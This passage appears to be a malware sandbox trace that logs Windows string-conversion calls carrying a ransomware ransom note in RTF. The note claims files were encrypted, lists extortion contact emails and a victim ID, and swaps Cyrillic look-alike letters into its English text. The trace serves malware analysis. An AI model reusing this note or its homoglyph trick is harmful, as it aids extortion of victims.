lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n 